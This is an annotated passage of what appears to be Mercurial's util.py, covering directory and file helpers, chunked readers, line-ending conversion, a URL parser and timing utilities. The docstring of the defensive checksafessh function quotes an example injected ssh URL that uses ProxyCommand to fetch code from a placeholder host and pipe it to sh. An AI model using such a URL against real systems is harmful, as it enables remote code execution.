2514 2513 unlink(f)
2515 2514 except OSError as e:
2516 2515 if e.errno != errno.ENOENT:
2517 2516 raise
2518 2517
2519 2518
2520 2519 def makedirs(name, mode=None, notindexed=False):
2521 2520 """recursive directory creation with parent mode inheritance
2522 2521
2523 2522 Newly created directories are marked as "not to be indexed by
2524 2523 the content indexing service", if ``notindexed`` is specified
2525 2524 for "write" mode access.
2526 2525 """
2527 2526 try:
2528 2527 makedir(name, notindexed)
2529 2528 except OSError as err:
2530 2529 if err.errno == errno.EEXIST:
2531 2530 return
2532 2531 if err.errno != errno.ENOENT or not name:
2533 2532 raise
2534 2533 parent = os.path.dirname(os.path.abspath(name))
2535 2534 if parent == name:
2536 2535 raise
2537 2536 makedirs(parent, mode, notindexed)
2538 2537 try:
2539 2538 makedir(name, notindexed)
2540 2539 except OSError as err:
2541 2540 # Catch EEXIST to handle races
2542 2541 if err.errno == errno.EEXIST:
2543 2542 return
2544 2543 raise
2545 2544 if mode is not None:
2546 2545 os.chmod(name, mode)
2547 2546
2548 2547
2549 2548 def readfile(path):
2550 2549 with open(path, b'rb') as fp:
2551 2550 return fp.read()
2552 2551
2553 2552
2554 2553 def writefile(path, text):
2555 2554 with open(path, b'wb') as fp:
2556 2555 fp.write(text)
2557 2556
2558 2557
2559 2558 def appendfile(path, text):
2560 2559 with open(path, b'ab') as fp:
2561 2560 fp.write(text)
2562 2561
2563 2562
2564 2563 class chunkbuffer(object):
2565 2564 """Allow arbitrary sized chunks of data to be efficiently read from an
2566 2565 iterator over chunks of arbitrary size."""
2567 2566
2568 2567 def __init__(self, in_iter):
2569 2568 """in_iter is the iterator that's iterating over the input chunks."""
2570 2569
2571 2570 def splitbig(chunks):
2572 2571 for chunk in chunks:
2573 2572 if len(chunk) > 2 ** 20:
2574 2573 pos = 0
2575 2574 while pos < len(chunk):
2576 2575 end = pos + 2 ** 18
2577 2576 yield chunk[pos:end]
2578 2577 pos = end
2579 2578 else:
2580 2579 yield chunk
2581 2580
2582 2581 self.iter = splitbig(in_iter)
2583 2582 self._queue = collections.deque()
2584 2583 self._chunkoffset = 0
2585 2584
2586 2585 def read(self, l=None):
2587 2586 """Read L bytes of data from the iterator of chunks of data.
2588 2587 Returns less than L bytes if the iterator runs dry.
2589 2588
2590 2589 If size parameter is omitted, read everything"""
2591 2590 if l is None:
2592 2591 return b''.join(self.iter)
2593 2592
2594 2593 left = l
2595 2594 buf = []
2596 2595 queue = self._queue
2597 2596 while left > 0:
2598 2597 # refill the queue
2599 2598 if not queue:
2600 2599 target = 2 ** 18
2601 2600 for chunk in self.iter:
2602 2601 queue.append(chunk)
2603 2602 target -= len(chunk)
2604 2603 if target <= 0:
2605 2604 break
2606 2605 if not queue:
2607 2606 break
2608 2607
2609 2608 # The easy way to do this would be to queue.popleft(), modify the
2610 2609 # chunk (if necessary), then queue.appendleft(). However, for cases
2611 2610 # where we read partial chunk content, this incurs 2 dequeue
2612 2611 # mutations and creates a new str for the remaining chunk in the
2613 2612 # queue. Our code below avoids this overhead.
2614 2613
2615 2614 chunk = queue[0]
2616 2615 chunkl = len(chunk)
2617 2616 offset = self._chunkoffset
2618 2617
2619 2618 # Use full chunk.
2620 2619 if offset == 0 and left >= chunkl:
2621 2620 left -= chunkl
2622 2621 queue.popleft()
2623 2622 buf.append(chunk)
2624 2623 # self._chunkoffset remains at 0.
2625 2624 continue
2626 2625
2627 2626 chunkremaining = chunkl - offset
2628 2627
2629 2628 # Use all of unconsumed part of chunk.
2630 2629 if left >= chunkremaining:
2631 2630 left -= chunkremaining
2632 2631 queue.popleft()
2633 2632 # offset == 0 is enabled by block above, so this won't merely
2634 2633 # copy via ``chunk[0:]``.
2635 2634 buf.append(chunk[offset:])
2636 2635 self._chunkoffset = 0
2637 2636
2638 2637 # Partial chunk needed.
2639 2638 else:
2640 2639 buf.append(chunk[offset : offset + left])
2641 2640 self._chunkoffset += left
2642 2641 left -= chunkremaining
2643 2642
2644 2643 return b''.join(buf)
2645 2644
2646 2645
2647 2646 def filechunkiter(f, size=131072, limit=None):
2648 2647 """Create a generator that produces the data in the file size
2649 2648 (default 131072) bytes at a time, up to optional limit (default is
2650 2649 to read all data). Chunks may be less than size bytes if the
2651 2650 chunk is the last chunk in the file, or the file is a socket or
2652 2651 some other type of file that sometimes reads less data than is
2653 2652 requested."""
2654 2653 assert size >= 0
2655 2654 assert limit is None or limit >= 0
2656 2655 while True:
2657 2656 if limit is None:
2658 2657 nbytes = size
2659 2658 else:
2660 2659 nbytes = min(limit, size)
2661 2660 s = nbytes and f.read(nbytes)
2662 2661 if not s:
2663 2662 break
2664 2663 if limit:
2665 2664 limit -= len(s)
2666 2665 yield s
2667 2666
2668 2667
2669 2668 class cappedreader(object):
2670 2669 """A file object proxy that allows reading up to N bytes.
2671 2670
2672 2671 Given a source file object, instances of this type allow reading up to
2673 2672 N bytes from that source file object. Attempts to read past the allowed
2674 2673 limit are treated as EOF.
2675 2674
2676 2675 It is assumed that I/O is not performed on the original file object
2677 2676 in addition to I/O that is performed by this instance. If there is,
2678 2677 state tracking will get out of sync and unexpected results will ensue.
2679 2678 """
2680 2679
2681 2680 def __init__(self, fh, limit):
2682 2681 """Allow reading up to <limit> bytes from <fh>."""
2683 2682 self._fh = fh
2684 2683 self._left = limit
2685 2684
2686 2685 def read(self, n=-1):
2687 2686 if not self._left:
2688 2687 return b''
2689 2688
2690 2689 if n < 0:
2691 2690 n = self._left
2692 2691
2693 2692 data = self._fh.read(min(n, self._left))
2694 2693 self._left -= len(data)
2695 2694 assert self._left >= 0
2696 2695
2697 2696 return data
2698 2697
2699 2698 def readinto(self, b):
2700 2699 res = self.read(len(b))
2701 2700 if res is None:
2702 2701 return None
2703 2702
2704 2703 b[0 : len(res)] = res
2705 2704 return len(res)
2706 2705
2707 2706
2708 2707 def unitcountfn(*unittable):
2709 2708 '''return a function that renders a readable count of some quantity'''
2710 2709
2711 2710 def go(count):
2712 2711 for multiplier, divisor, format in unittable:
2713 2712 if abs(count) >= divisor * multiplier:
2714 2713 return format % (count / float(divisor))
2715 2714 return unittable[-1][2] % count
2716 2715
2717 2716 return go
2718 2717
2719 2718
2720 2719 def processlinerange(fromline, toline):
2721 2720 """Check that linerange <fromline>:<toline> makes sense and return a
2722 2721 0-based range.
2723 2722
2724 2723 >>> processlinerange(10, 20)
2725 2724 (9, 20)
2726 2725 >>> processlinerange(2, 1)
2727 2726 Traceback (most recent call last):
2728 2727 ...
2729 2728 ParseError: line range must be positive
2730 2729 >>> processlinerange(0, 5)
2731 2730 Traceback (most recent call last):
2732 2731 ...
2733 2732 ParseError: fromline must be strictly positive
2734 2733 """
2735 2734 if toline - fromline < 0:
2736 2735 raise error.ParseError(_(b"line range must be positive"))
2737 2736 if fromline < 1:
2738 2737 raise error.ParseError(_(b"fromline must be strictly positive"))
2739 2738 return fromline - 1, toline
2740 2739
2741 2740
2742 2741 bytecount = unitcountfn(
2743 2742 (100, 1 << 30, _(b'%.0f GB')),
2744 2743 (10, 1 << 30, _(b'%.1f GB')),
2745 2744 (1, 1 << 30, _(b'%.2f GB')),
2746 2745 (100, 1 << 20, _(b'%.0f MB')),
2747 2746 (10, 1 << 20, _(b'%.1f MB')),
2748 2747 (1, 1 << 20, _(b'%.2f MB')),
2749 2748 (100, 1 << 10, _(b'%.0f KB')),
2750 2749 (10, 1 << 10, _(b'%.1f KB')),
2751 2750 (1, 1 << 10, _(b'%.2f KB')),
2752 2751 (1, 1, _(b'%.0f bytes')),
2753 2752 )
2754 2753
2755 2754
2756 2755 class transformingwriter(object):
2757 2756 """Writable file wrapper to transform data by function"""
2758 2757
2759 2758 def __init__(self, fp, encode):
2760 2759 self._fp = fp
2761 2760 self._encode = encode
2762 2761
2763 2762 def close(self):
2764 2763 self._fp.close()
2765 2764
2766 2765 def flush(self):
2767 2766 self._fp.flush()
2768 2767
2769 2768 def write(self, data):
2770 2769 return self._fp.write(self._encode(data))
2771 2770
2772 2771
2773 2772 # Matches a single EOL which can either be a CRLF where repeated CR
2774 2773 # are removed or a LF. We do not care about old Macintosh files, so a
2775 2774 # stray CR is an error.
2776 2775 _eolre = remod.compile(br'\r*\n')
2777 2776
2778 2777
2779 2778 def tolf(s):
2780 2779 return _eolre.sub(b'\n', s)
2781 2780
2782 2781
2783 2782 def tocrlf(s):
2784 2783 return _eolre.sub(b'\r\n', s)
2785 2784
2786 2785
2787 2786 def _crlfwriter(fp):
2788 2787 return transformingwriter(fp, tocrlf)
2789 2788
2790 2789
2791 2790 if pycompat.oslinesep == b'\r\n':
2792 2791 tonativeeol = tocrlf
2793 2792 fromnativeeol = tolf
2794 2793 nativeeolwriter = _crlfwriter
2795 2794 else:
2796 2795 tonativeeol = pycompat.identity
2797 2796 fromnativeeol = pycompat.identity
2798 2797 nativeeolwriter = pycompat.identity
2799 2798
2800 2799 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2801 2800 3,
2802 2801 0,
2803 2802 ):
2804 2803 # There is an issue in CPython that some IO methods do not handle EINTR
2805 2804 # correctly. The following table shows what CPython version (and functions)
2806 2805 # are affected (buggy: has the EINTR bug, okay: otherwise):
2807 2806 #
2808 2807 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2809 2808 # --------------------------------------------------
2810 2809 # fp.__iter__ | buggy | buggy | okay
2811 2810 # fp.read* | buggy | okay [1] | okay
2812 2811 #
2813 2812 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2814 2813 #
2815 2814 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2816 2815 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2817 2816 #
2818 2817 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2819 2818 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2820 2819 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2821 2820 # fp.__iter__ but not other fp.read* methods.
2822 2821 #
2823 2822 # On modern systems like Linux, the "read" syscall cannot be interrupted
2824 2823 # when reading "fast" files like on-disk files. So the EINTR issue only
2825 2824 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2826 2825 # files approximately as "fast" files and use the fast (unsafe) code path,
2827 2826 # to minimize the performance impact.
2828 2827 if sys.version_info >= (2, 7, 4):
2829 2828 # fp.readline deals with EINTR correctly, use it as a workaround.
2830 2829 def _safeiterfile(fp):
2831 2830 return iter(fp.readline, b'')
2832 2831
2833 2832 else:
2834 2833 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2835 2834 # note: this may block longer than necessary because of bufsize.
2836 2835 def _safeiterfile(fp, bufsize=4096):
2837 2836 fd = fp.fileno()
2838 2837 line = b''
2839 2838 while True:
2840 2839 try:
2841 2840 buf = os.read(fd, bufsize)
2842 2841 except OSError as ex:
2843 2842 # os.read only raises EINTR before any data is read
2844 2843 if ex.errno == errno.EINTR:
2845 2844 continue
2846 2845 else:
2847 2846 raise
2848 2847 line += buf
2849 2848 if b'\n' in buf:
2850 2849 splitted = line.splitlines(True)
2851 2850 line = b''
2852 2851 for l in splitted:
2853 2852 if l[-1] == b'\n':
2854 2853 yield l
2855 2854 else:
2856 2855 line = l
2857 2856 if not buf:
2858 2857 break
2859 2858 if line:
2860 2859 yield line
2861 2860
2862 2861 def iterfile(fp):
2863 2862 fastpath = True
2864 2863 if type(fp) is file:
2865 2864 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2866 2865 if fastpath:
2867 2866 return fp
2868 2867 else:
2869 2868 return _safeiterfile(fp)
2870 2869
2871 2870
2872 2871 else:
2873 2872 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2874 2873 def iterfile(fp):
2875 2874 return fp
2876 2875
2877 2876
2878 2877 def iterlines(iterator):
2879 2878 for chunk in iterator:
2880 2879 for line in chunk.splitlines():
2881 2880 yield line
2882 2881
2883 2882
2884 2883 def expandpath(path):
2885 2884 return os.path.expanduser(os.path.expandvars(path))
2886 2885
2887 2886
2888 2887 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2889 2888 """Return the result of interpolating items in the mapping into string s.
2890 2889
2891 2890 prefix is a single character string, or a two character string with
2892 2891 a backslash as the first character if the prefix needs to be escaped in
2893 2892 a regular expression.
2894 2893
2895 2894 fn is an optional function that will be applied to the replacement text
2896 2895 just before replacement.
2897 2896
2898 2897 escape_prefix is an optional flag that allows using doubled prefix for
2899 2898 its escaping.
2900 2899 """
2901 2900 fn = fn or (lambda s: s)
2902 2901 patterns = b'|'.join(mapping.keys())
2903 2902 if escape_prefix:
2904 2903 patterns += b'|' + prefix
2905 2904 if len(prefix) > 1:
2906 2905 prefix_char = prefix[1:]
2907 2906 else:
2908 2907 prefix_char = prefix
2909 2908 mapping[prefix_char] = prefix_char
2910 2909 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2911 2910 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2912 2911
2913 2912
2914 2913 def getport(port):
2915 2914 """Return the port for a given network service.
2916 2915
2917 2916 If port is an integer, it's returned as is. If it's a string, it's
2918 2917 looked up using socket.getservbyname(). If there's no matching
2919 2918 service, error.Abort is raised.
2920 2919 """
2921 2920 try:
2922 2921 return int(port)
2923 2922 except ValueError:
2924 2923 pass
2925 2924
2926 2925 try:
2927 2926 return socket.getservbyname(pycompat.sysstr(port))
2928 2927 except socket.error:
2929 2928 raise error.Abort(
2930 2929 _(b"no port number associated with service '%s'") % port
2931 2930 )
2932 2931
2933 2932
2934 2933 class url(object):
2935 2934 r"""Reliable URL parser.
2936 2935
2937 2936 This parses URLs and provides attributes for the following
2938 2937 components:
2939 2938
2940 2939 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2941 2940
2942 2941 Missing components are set to None. The only exception is
2943 2942 fragment, which is set to '' if present but empty.
2944 2943
2945 2944 If parsefragment is False, fragment is included in query. If
2946 2945 parsequery is False, query is included in path. If both are
2947 2946 False, both fragment and query are included in path.
2948 2947
2949 2948 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2950 2949
2951 2950 Note that for backward compatibility reasons, bundle URLs do not
2952 2951 take host names. That means 'bundle://../' has a path of '../'.
2953 2952
2954 2953 Examples:
2955 2954
2956 2955 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2957 2956 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2958 2957 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2959 2958 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2960 2959 >>> url(b'file:///home/joe/repo')
2961 2960 <url scheme: 'file', path: '/home/joe/repo'>
2962 2961 >>> url(b'file:///c:/temp/foo/')
2963 2962 <url scheme: 'file', path: 'c:/temp/foo/'>
2964 2963 >>> url(b'bundle:foo')
2965 2964 <url scheme: 'bundle', path: 'foo'>
2966 2965 >>> url(b'bundle://../foo')
2967 2966 <url scheme: 'bundle', path: '../foo'>
2968 2967 >>> url(br'c:\foo\bar')
2969 2968 <url path: 'c:\\foo\\bar'>
2970 2969 >>> url(br'\\blah\blah\blah')
2971 2970 <url path: '\\\\blah\\blah\\blah'>
2972 2971 >>> url(br'\\blah\blah\blah#baz')
2973 2972 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2974 2973 >>> url(br'file:///C:\users\me')
2975 2974 <url scheme: 'file', path: 'C:\\users\\me'>
2976 2975
2977 2976 Authentication credentials:
2978 2977
2979 2978 >>> url(b'ssh://joe:xyz@x/repo')
2980 2979 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2981 2980 >>> url(b'ssh://joe@x/repo')
2982 2981 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2983 2982
2984 2983 Query strings and fragments:
2985 2984
2986 2985 >>> url(b'http://host/a?b#c')
2987 2986 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2988 2987 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2989 2988 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2990 2989
2991 2990 Empty path:
2992 2991
2993 2992 >>> url(b'')
2994 2993 <url path: ''>
2995 2994 >>> url(b'#a')
2996 2995 <url path: '', fragment: 'a'>
2997 2996 >>> url(b'http://host/')
2998 2997 <url scheme: 'http', host: 'host', path: ''>
2999 2998 >>> url(b'http://host/#a')
3000 2999 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3001 3000
3002 3001 Only scheme:
3003 3002
3004 3003 >>> url(b'http:')
3005 3004 <url scheme: 'http'>
3006 3005 """
3007 3006
3008 3007 _safechars = b"!~*'()+"
3009 3008 _safepchars = b"/!~*'()+:\\"
3010 3009 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3011 3010
3012 3011 def __init__(self, path, parsequery=True, parsefragment=True):
3013 3012 # We slowly chomp away at path until we have only the path left
3014 3013 self.scheme = self.user = self.passwd = self.host = None
3015 3014 self.port = self.path = self.query = self.fragment = None
3016 3015 self._localpath = True
3017 3016 self._hostport = b''
3018 3017 self._origpath = path
3019 3018
3020 3019 if parsefragment and b'#' in path:
3021 3020 path, self.fragment = path.split(b'#', 1)
3022 3021
3023 3022 # special case for Windows drive letters and UNC paths
3024 3023 if hasdriveletter(path) or path.startswith(b'\\\\'):
3025 3024 self.path = path
3026 3025 return
3027 3026
3028 3027 # For compatibility reasons, we can't handle bundle paths as
3029 3028 # normal URLS
3030 3029 if path.startswith(b'bundle:'):
3031 3030 self.scheme = b'bundle'
3032 3031 path = path[7:]
3033 3032 if path.startswith(b'//'):
3034 3033 path = path[2:]
3035 3034 self.path = path
3036 3035 return
3037 3036
3038 3037 if self._matchscheme(path):
3039 3038 parts = path.split(b':', 1)
3040 3039 if parts[0]:
3041 3040 self.scheme, path = parts
3042 3041 self._localpath = False
3043 3042
3044 3043 if not path:
3045 3044 path = None
3046 3045 if self._localpath:
3047 3046 self.path = b''
3048 3047 return
3049 3048 else:
3050 3049 if self._localpath:
3051 3050 self.path = path
3052 3051 return
3053 3052
3054 3053 if parsequery and b'?' in path:
3055 3054 path, self.query = path.split(b'?', 1)
3056 3055 if not path:
3057 3056 path = None
3058 3057 if not self.query:
3059 3058 self.query = None
3060 3059
3061 3060 # // is required to specify a host/authority
3062 3061 if path and path.startswith(b'//'):
3063 3062 parts = path[2:].split(b'/', 1)
3064 3063 if len(parts) > 1:
3065 3064 self.host, path = parts
3066 3065 else:
3067 3066 self.host = parts[0]
3068 3067 path = None
3069 3068 if not self.host:
3070 3069 self.host = None
3071 3070 # path of file:///d is /d
3072 3071 # path of file:///d:/ is d:/, not /d:/
3073 3072 if path and not hasdriveletter(path):
3074 3073 path = b'/' + path
3075 3074
3076 3075 if self.host and b'@' in self.host:
3077 3076 self.user, self.host = self.host.rsplit(b'@', 1)
3078 3077 if b':' in self.user:
3079 3078 self.user, self.passwd = self.user.split(b':', 1)
3080 3079 if not self.host:
3081 3080 self.host = None
3082 3081
3083 3082 # Don't split on colons in IPv6 addresses without ports
3084 3083 if (
3085 3084 self.host
3086 3085 and b':' in self.host
3087 3086 and not (
3088 3087 self.host.startswith(b'[') and self.host.endswith(b']')
3089 3088 )
3090 3089 ):
3091 3090 self._hostport = self.host
3092 3091 self.host, self.port = self.host.rsplit(b':', 1)
3093 3092 if not self.host:
3094 3093 self.host = None
3095 3094
3096 3095 if (
3097 3096 self.host
3098 3097 and self.scheme == b'file'
3099 3098 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3100 3099 ):
3101 3100 raise error.Abort(
3102 3101 _(b'file:// URLs can only refer to localhost')
3103 3102 )
3104 3103
3105 3104 self.path = path
3106 3105
3107 3106 # leave the query string escaped
3108 3107 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3109 3108 v = getattr(self, a)
3110 3109 if v is not None:
3111 3110 setattr(self, a, urlreq.unquote(v))
3112 3111
3113 3112 @encoding.strmethod
3114 3113 def __repr__(self):
3115 3114 attrs = []
3116 3115 for a in (
3117 3116 b'scheme',
3118 3117 b'user',
3119 3118 b'passwd',
3120 3119 b'host',
3121 3120 b'port',
3122 3121 b'path',
3123 3122 b'query',
3124 3123 b'fragment',
3125 3124 ):
3126 3125 v = getattr(self, a)
3127 3126 if v is not None:
3128 3127 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3129 3128 return b'<url %s>' % b', '.join(attrs)
3130 3129
3131 3130 def __bytes__(self):
3132 3131 r"""Join the URL's components back into a URL string.
3133 3132
3134 3133 Examples:
3135 3134
3136 3135 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3137 3136 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3138 3137 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3139 3138 'http://user:pw@host:80/?foo=bar&baz=42'
3140 3139 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3141 3140 'http://user:pw@host:80/?foo=bar%3dbaz'
3142 3141 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3143 3142 'ssh://user:pw@[::1]:2200//home/joe#'
3144 3143 >>> bytes(url(b'http://localhost:80//'))
3145 3144 'http://localhost:80//'
3146 3145 >>> bytes(url(b'http://localhost:80/'))
3147 3146 'http://localhost:80/'
3148 3147 >>> bytes(url(b'http://localhost:80'))
3149 3148 'http://localhost:80/'
3150 3149 >>> bytes(url(b'bundle:foo'))
3151 3150 'bundle:foo'
3152 3151 >>> bytes(url(b'bundle://../foo'))
3153 3152 'bundle:../foo'
3154 3153 >>> bytes(url(b'path'))
3155 3154 'path'
3156 3155 >>> bytes(url(b'file:///tmp/foo/bar'))
3157 3156 'file:///tmp/foo/bar'
3158 3157 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3159 3158 'file:///c:/tmp/foo/bar'
3160 3159 >>> print(url(br'bundle:foo\bar'))
3161 3160 bundle:foo\bar
3162 3161 >>> print(url(br'file:///D:\data\hg'))
3163 3162 file:///D:\data\hg
3164 3163 """
3165 3164 if self._localpath:
3166 3165 s = self.path
3167 3166 if self.scheme == b'bundle':
3168 3167 s = b'bundle:' + s
3169 3168 if self.fragment:
3170 3169 s += b'#' + self.fragment
3171 3170 return s
3172 3171
3173 3172 s = self.scheme + b':'
3174 3173 if self.user or self.passwd or self.host:
3175 3174 s += b'//'
3176 3175 elif self.scheme and (
3177 3176 not self.path
3178 3177 or self.path.startswith(b'/')
3179 3178 or hasdriveletter(self.path)
3180 3179 ):
3181 3180 s += b'//'
3182 3181 if hasdriveletter(self.path):
3183 3182 s += b'/'
3184 3183 if self.user:
3185 3184 s += urlreq.quote(self.user, safe=self._safechars)
3186 3185 if self.passwd:
3187 3186 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3188 3187 if self.user or self.passwd:
3189 3188 s += b'@'
3190 3189 if self.host:
3191 3190 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3192 3191 s += urlreq.quote(self.host)
3193 3192 else:
3194 3193 s += self.host
3195 3194 if self.port:
3196 3195 s += b':' + urlreq.quote(self.port)
3197 3196 if self.host:
3198 3197 s += b'/'
3199 3198 if self.path:
3200 3199 # TODO: similar to the query string, we should not unescape the
3201 3200 # path when we store it, the path might contain '%2f' = '/',
3202 3201 # which we should *not* escape.
3203 3202 s += urlreq.quote(self.path, safe=self._safepchars)
3204 3203 if self.query:
3205 3204 # we store the query in escaped form.
3206 3205 s += b'?' + self.query
3207 3206 if self.fragment is not None:
3208 3207 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3209 3208 return s
3210 3209
3211 3210 __str__ = encoding.strmethod(__bytes__)
3212 3211
3213 3212 def authinfo(self):
3214 3213 user, passwd = self.user, self.passwd
3215 3214 try:
3216 3215 self.user, self.passwd = None, None
3217 3216 s = bytes(self)
3218 3217 finally:
3219 3218 self.user, self.passwd = user, passwd
3220 3219 if not self.user:
3221 3220 return (s, None)
3222 3221 # authinfo[1] is passed to urllib2 password manager, and its
3223 3222 # URIs must not contain credentials. The host is passed in the
3224 3223 # URIs list because Python < 2.4.3 uses only that to search for
3225 3224 # a password.
3226 3225 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3227 3226
3228 3227 def isabs(self):
3229 3228 if self.scheme and self.scheme != b'file':
3230 3229 return True # remote URL
3231 3230 if hasdriveletter(self.path):
3232 3231 return True # absolute for our purposes - can't be joined()
3233 3232 if self.path.startswith(br'\\'):
3234 3233 return True # Windows UNC path
3235 3234 if self.path.startswith(b'/'):
3236 3235 return True # POSIX-style
3237 3236 return False
3238 3237
3239 3238 def localpath(self):
3240 3239 if self.scheme == b'file' or self.scheme == b'bundle':
3241 3240 path = self.path or b'/'
3242 3241 # For Windows, we need to promote hosts containing drive
3243 3242 # letters to paths with drive letters.
3244 3243 if hasdriveletter(self._hostport):
3245 3244 path = self._hostport + b'/' + self.path
3246 3245 elif (
3247 3246 self.host is not None and self.path and not hasdriveletter(path)
3248 3247 ):
3249 3248 path = b'/' + path
3250 3249 return path
3251 3250 return self._origpath
3252 3251
3253 3252 def islocal(self):
3254 3253 '''whether localpath will return something that posixfile can open'''
3255 3254 return (
3256 3255 not self.scheme
3257 3256 or self.scheme == b'file'
3258 3257 or self.scheme == b'bundle'
3259 3258 )
3260 3259
3261 3260
3262 3261 def hasscheme(path):
3263 3262 return bool(url(path).scheme)
3264 3263
3265 3264
3266 3265 def hasdriveletter(path):
3267 3266 return path and path[1:2] == b':' and path[0:1].isalpha()
3268 3267
3269 3268
3270 3269 def urllocalpath(path):
3271 3270 return url(path, parsequery=False, parsefragment=False).localpath()
3272 3271
3273 3272
3274 3273 def checksafessh(path):
3275 3274 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3276 3275
3277 3276 This is a sanity check for ssh urls. ssh will parse the first item as
3278 3277 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3279 3278 Let's prevent these potentially exploited urls entirely and warn the
3280 3279 user.
3281 3280
3282 3281 Raises an error.Abort when the url is unsafe.
3283 3282 """
3284 3283 path = urlreq.unquote(path)
3285 3284 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3286 3285 raise error.Abort(
3287 3286 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3288 3287 )
3289 3288
3290 3289
3291 3290 def hidepassword(u):
3292 3291 '''hide user credential in a url string'''
3293 3292 u = url(u)
3294 3293 if u.passwd:
3295 3294 u.passwd = b'***'
3296 3295 return bytes(u)
3297 3296
3298 3297
3299 3298 def removeauth(u):
3300 3299 '''remove all authentication information from a url string'''
3301 3300 u = url(u)
3302 3301 u.user = u.passwd = None
3303 3302 return bytes(u)
3304 3303
3305 3304
3306 3305 timecount = unitcountfn(
3307 3306 (1, 1e3, _(b'%.0f s')),
3308 3307 (100, 1, _(b'%.1f s')),
3309 3308 (10, 1, _(b'%.2f s')),
3310 3309 (1, 1, _(b'%.3f s')),
3311 3310 (100, 0.001, _(b'%.1f ms')),
3312 3311 (10, 0.001, _(b'%.2f ms')),
3313 3312 (1, 0.001, _(b'%.3f ms')),
3314 3313 (100, 0.000001, _(b'%.1f us')),
3315 3314 (10, 0.000001, _(b'%.2f us')),
3316 3315 (1, 0.000001, _(b'%.3f us')),
3317 3316 (100, 0.000000001, _(b'%.1f ns')),
3318 3317 (10, 0.000000001, _(b'%.2f ns')),
3319 3318 (1, 0.000000001, _(b'%.3f ns')),
3320 3319 )
3321 3320
3322 3321
3323 3322 @attr.s
3324 3323 class timedcmstats(object):
3325 3324 """Stats information produced by the timedcm context manager on entering."""
3326 3325
3327 3326 # the starting value of the timer as a float (meaning and resulution is
3328 3327 # platform dependent, see util.timer)
3329 3328 start = attr.ib(default=attr.Factory(lambda: timer()))
3330 3329 # the number of seconds as a floating point value; starts at 0, updated when
3331 3330 # the context is exited.
3332 3331 elapsed = attr.ib(default=0)
3333 3332 # the number of nested timedcm context managers.
3334 3333 level = attr.ib(default=1)
3335 3334
3336 3335 def __bytes__(self):
3337 3336 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3338 3337
3339 3338 __str__ = encoding.strmethod(__bytes__)
3340 3339
3341 3340
3342 3341 @contextlib.contextmanager
3343 3342 def timedcm(whencefmt, *whenceargs):
3344 3343 """A context manager that produces timing information for a given context.
3345 3344
3346 3345 On entering a timedcmstats instance is produced.
3347 3346
3348 3347 This context manager is reentrant.
3349 3348
3350 3349 """
3351 3350 # track nested context managers
3352 3351 timedcm._nested += 1
3353 3352 timing_stats = timedcmstats(level=timedcm._nested)
3354 3353 try:
3355 3354 with tracing.log(whencefmt, *whenceargs):
3356 3355 yield timing_stats
3357 3356 finally:
3358 3357 timing_stats.elapsed = timer() - timing_stats.start
3359 3358 timedcm._nested -= 1
3360 3359
3361 3360
3362 3361 timedcm._nested = 0
3363 3362
3364 3363
3365 3364 def timed(func):
3366 3365 '''Report the execution time of a function call to stderr.
3367 3366
3368 3367 During development, use as a decorator when you need to measure
3369 3368 the cost of a function, e.g. as follows:
3370 3369
3371 3370 @util.timed
3372 3371 def foo(a, b, c):
3373 3372 pass
3374 3373 '''
3375 3374
3376 3375 def wrapper(*args, **kwargs):
3377 3376 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3378 3377 result = func(*args, **kwargs)
3379 3378 stderr = procutil.stderr
3380 3379 stderr.write(
3381 3380 b'%s%s: %s\n'
3382 3381 % (
3383 3382 b' ' * time_stats.level * 2,
3384 3383 pycompat.bytestr(func.__name__),
3385 3384 time_stats,
3386 3385 )
3387 3386 )
3388 3387 return result
3389 3388
3390 3389 return wrapper
3391 3390
3392 3391
3393 3392 _sizeunits = (
